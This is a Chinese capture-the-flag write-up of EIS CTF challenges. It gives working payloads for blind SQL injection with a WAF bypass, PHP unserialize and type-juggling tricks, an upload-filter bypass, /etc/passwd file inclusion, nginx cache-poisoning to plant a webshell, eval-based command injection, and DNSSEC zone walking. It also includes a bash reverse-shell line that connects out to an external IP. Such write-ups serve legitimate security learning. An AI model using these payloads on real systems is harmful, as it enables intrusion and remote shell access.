EIS CTF
Login
盲注,存在waf
and 空格被过滤,用%a0绕过空格,&&替代为and。
uname=admin'%a0%26%26%a0pwd>'1'--%a0&pwd=admin
用burpsuite依次爆破,即可。(字符串可以比较)
PHP是最好的语言
http://202.112.26.124:8080/95fe19724cc6084f08366340c848b791/index.php.bak存在文件泄漏
<?php
$v1=0;$v2=0;$v3=0;
$a=(array)unserialize(@$_GET['foo']);
if(is_array($a)){
is_numeric(@$a["param1"])?exit:NULL;
if(@$a["param1"]){
($a["param1"]>2017)?$v1=1:NULL;
}
if(is_array(@$a["param2"])){
if(count($a["param2"])!==5 OR !is_array($a["param2"][0])) exit;
$pos = array_search("nudt", $a["param2"]);
$pos===false?die("nope"):NULL;
foreach($a["param2"] as $key=>$val){
$val==="nudt"?die("nope"):NULL;
}
$v2=1;
}
}
$c=@$_GET['egg'];
$d=@$_GET['fish'];
if(@$c[1]){
if(!strcmp($c[1],$d) && $c[1]!==$d){
eregi("M|n|s",$d.$c[0])?err():NULL;
strpos(($c[0].$d), "MyAns")?$v3=1:NULL;
}
}
if($v1 && $v2 && $v3){
include "flag.php";
echo $flag;
}
?>
参考https://mo-xiaoxi.github.io/2016/07/24/X-NUCA/的Web4即可。
Payload:
http://202.112.26.124:8080/95fe19724cc6084f08366340c848b791/index.php?foo=a:5:{s:6:"param1";s:9:"2018adsad";s:6:"param2";a:5:{i:0;a:1:{i:0;i:0;}i:1;i:0;i:2;i:2;i:3;i:3;i:4;i:4;}s:2:"a2";i:3;s:1:"d";i:4;s:1:"e";i:5;}&egg[1][]=%221%22&fish=%00&egg[0]="MyAns"
文件上传
水题,用数组绕过正则过滤。设定文件名后缀为.php,文件内容上传时,将上传内容字段设为数组,即可绕过对尖括号的过滤。访问上传的php文件后即可得到flag。
随机数
<?php
for($i=0;$i<1001;$i++) {
srand($i);
echo $i.' : '.rand(0,1000).', '.rand(0,1000).', '.rand(0,1000).', '.rand(0,1000).'</br>';
}
?>
通过上述代码生成了一个类似彩虹表的东西,查询一下即可。
PHP代码审计
<?php
error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){
$args = $_GET['args'];
if(!preg_match("/^\w+$/",$args)){
die("args error!");
}
eval("var_dump($$args);");
}
$GLOBALS — 引用全局作用域中可用的全部变量
$GLOBALS 这种全局变量用于在 PHP 脚本中的任意位置访问全局变量(从函数或方法中均可)。
PHP 在名为 $GLOBALS[index] 的数组中存储了所有全局变量。变量的名字就是数组的键。
传入一个args变量,正则校验之后,最后就是$$args,这个是重点,即传入的一个变量的值还可以作为另一个变量名,因此尝试利用PHP中神奇的全局变量global,查看这个变量中包含的数据,flag就在其中.
Payload:http://202.112.26.124:8080/edd1620126f2caeb5c2b3b9452fa2639/index.php?args=GLOBALS
快速计算
写个脚本交互一下即可。
import requests
import re
url = 'http://202.120.7.220:2333/'
res = requests.get(url)
calc = re.search(r'<br/>(.*)=<', res.content).groups()[0]
v = eval(calc)
print calc, '=', v
res = requests.post('http://202.120.7.220:2333/index.php', data={"v": v})
print res.content
php trick
注释获得源码:
<?php
$flag='xxx';
extract($_GET);
if(isset($gift)){
$content=trim(file_get_contents($flag));
if($gift==$content){
echo'flag'; }
else{
echo'flag被加密了 再加密一次就得到flag了';}
}
?>
利用php:/input和变量覆盖即可。
不是管理员也能登录
源码泄漏:
$test=$_GET['userid']; $test=md5($test);
if($test != '0'){
$this->error('用户名有误,请阅读说明与帮助!');
}
$pwd =$this->_post("password");
$data_u = unserialize($pwd);
if($data_u['name'] == 'XX' && $data_u['pwd']=='XX')
{
print_r($flag);
}
前者是md5成0e开头的字符串即可。后者利用布尔弱类型绕过。参考:http://www.cnblogs.com/ssooking/p/5877086.html
Apache
Hacklu原题,队内大佬carry。
通过__libc_start_main劫持strlen函数来安装后门,满足条件的payload可以被system执行,最后首先发送一个正常的get请求,再发送/index.html?eqeqeqbnbnbnbnbkwkwkwkwhththththqeq=bash_-c_‘bash_-i_>&_/dev/tcp/202.112.50.114/5555_0>&1’获得一个reverse shell,直接cat flag.txt即可。
URL 中需有 ‘dpdpdpamamamamajvjvjvjvgsgsgsgsgpdp’ or ‘eqeqeqbnbnbnbnbkwkwkwkwhththththqeq’,后⾯面跟命令即可,其中下划线会被替换为空格。
SimpleCMS
这题比赛的时候没做出来,应该是缓存的问题。以前没研究过,不是很懂。
信息:
-
两个文件包含点:
-
?page=../../../../../../../../etc/passwd
<?php if (isset($_GET['page'])) { $page = $_GET['page']; } else { $page = 'a.php'; } $path = './pages/' . $page; $path = realpath($path); if (is_file($path)) { include $path; } else { echo '<p>Page not found!</p>'; }
-
/static.php?f[]=/etc/passwd
chdir('./static'); if (!isset($_GET['f'])) { die(); } // fix Content-Type if possible $uri = trim(parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH)); $ext_pos = strrpos($uri, '.'); $ext = strtolower(substr($uri, $ext_pos + 1)); switch($ext) { case 'css': header('Content-Type: text/css'); break; case 'js': header('Content-Type: application/javascript'); break; } $static_files = $_GET['f']; if (!is_array($static_files)) { $static_files = array($static_files); } foreach($static_files as $file) { if (is_file($file)) { echo file_get_contents($file); } else { die("{$file} not exists!"); } }
-
-
部分HTTP回复包,头部有“X-Proxy-Cache: BYPASS”,怀疑是include一个缓存临时文件。
赛后看了浙大和福州大学的WP,发现真的是缓存!!orz,学习一波。
主要要查看fastcgi的缓存配置:/etc/nginx/nginx.conf
缓存的命名的规则是:md5($host$url),然后是1:2的命名法。则目录为tmp/后一位/后三-二位/md5
注意:nginx 的 $host 是不带端口的,缓存需注意。
如:
202.120.7.205/static.php/l.js ,md5 哈希过后得到的值为 bbbcb40ec7f308548f1d387c5ca763ba 按照配置⽂文件中所规定的 1:2 的命名法,可以得到完整路路径 为: /tmp/a/3b/bbbcb40ec7f308548f1d387c5ca763ba
然后,利用/static.php会对.css和.js结尾文件进行缓存的特性。而且当其缓存一个不存在的文件时,会直接输出文件名。也就是说,缓存一个不存在的文件时,缓存临时文件还会生成,里面的内容会是xxx not exists!xxx指文件名。
那么,我们就能利用这个特性,缓存一个一句话到缓存目录。
福州大学WP截图:
接着,只需要利用page的文件包含,进行利用即可。文件位置利用前面说的缓存规则推算而得。
如下:
getshell成功,查看一下flag即可。
PS:人对未知的东西总是充满恐惧,做题的时候想到了缓存,但是因为以前没接触过,就害怕,放弃了。自省!
验证码
这题没做出来,Websocket也不是很懂。学习了下Melody的WP,不过现在还不理解他如何做到将melody.py上传上去的。题目环境又关了,没办法复现😭。
贴上他的题解:
本题逻辑十分简单,请求服务器器⼀个验证码,服务器器返回字符画。请求结果,服务端校验结果。有⼀个隐藏的 help 指令,可以 reconnect,问题在于如何指定 reconnect 的服务器,将发给 ws 服务的 json 中的值依次替换成 [] 可以通过报错信息推断后端逻辑,得到 method 会被带⼊入到 getattr 中,那么必须得是⼀一个类中规定好的⽅方 法才能够带⼊入进来,可行的操作并不不多,测试了
__init__
函数,根据错误信息发现可以带⼊两个参数, 因此发包如下{“method”:”init”,”args”:[ip,port]}
接着调⽤用 reconnect
{“method”:”reconnect”}
此时服务器器上监听的端⼝口已收到信息。
我们继续请求新的验证码,发现服务端向我们请求⼀一个操作符,操作数由服务端⽣生成好了了,因此猜测整个表达式被带⼊入到 eval 中得到返回值,再给客户校验计算结果。那么答案也就显⽽易见了。我们将给客户的操作符定 义为
+__import__('os').system('python\x20/tmp/melody.py')+
那么被带⼊入到后端就会变成
eval("1+__import__('os').system('python\x20/tmp/melody.py')+2")
我们的代码就得到执⾏行行了了,尝试后成功反弹 shell。 最后在 arifmetics.py 中找到 flag。
cat ar* import asyncio from hashlib import md5 from random import choice, randint from threading import Thread SALT = b"EIS{87a5d7e4aae098be036d6b8035e4}
DNS 101
利用NSEC能获得下一条数据的信息,来重复获取下一个dns记录。(不是漏洞。。感觉很纯粹的misc…)
具体参考段老师的博客:https://netsec.ccert.edu.cn/duanhx/?p=1479
2.1.4 NSEC记录
NSEC记录是为了应答那些不存在的资源记录而设计的。为了保证私有密钥的安全性和服务器的性能,所有的签名记录都是事先(甚至离线)生成的。服务器显然不能为所有不存在的记录事先生成一个公共的“不存在”的签名记录,因为这一记录可以被重放(Replay);更不可能为每一个不存在的记录生成独立的签名,因为它不知道用户将会请求怎样的记录。
在区数据签名时,NSEC记录会自动生成。比如在vpn.test.net和xyz.test.net之间会插入下面的这样两条记录:
vpn.test.net. 10800 IN A 192.168.1.100
172800 NSEC xyz.test.net. A RRSIG NSEC
172800 RRSIG NSEC 5 5 172800 20110611031416 (
20110512031416 5271 test.net.
Ujw/aq….15dV5tF7XgWSR78= )
xyz.test.net. 10800 IN A 192.168.1.200
其中NSEC记录包括两项内容:排序后的下一个资源记录的名称(xyz.test.net.)、以及vpn.test.net.这一名称所有的资源记录类型(A、RRSIG、NSEC),后面的RRSIG记录是对这个NSEC记录的数字签名。
在用户请求的某个域名在vpn和xyz之间时,如www.test.net.,服务器会返回域名不存在,并同时包括 vpn.test.net的NSEC记录
写一个脚本递归查询:
#!/bin/bash
query="0ouqoeflewroatrouwroafl0priexlev.zzzzzzz.flag.src.edu-info.edu.cn"
while true; do
echo "Digging $query"
res=$(dig "$query" any +short +dnssec)
echo $res
query=$(echo $res | egrep -o "[a-z0-9\.\-]+\.zzzzzzz\.flag\.src.edu-info\.edu.cn\.")
if [[ $query == "" ]]; then break; fi
if echo -n "$query" | grep "flag-id-"; then
dig "$query" txt
break
fi
done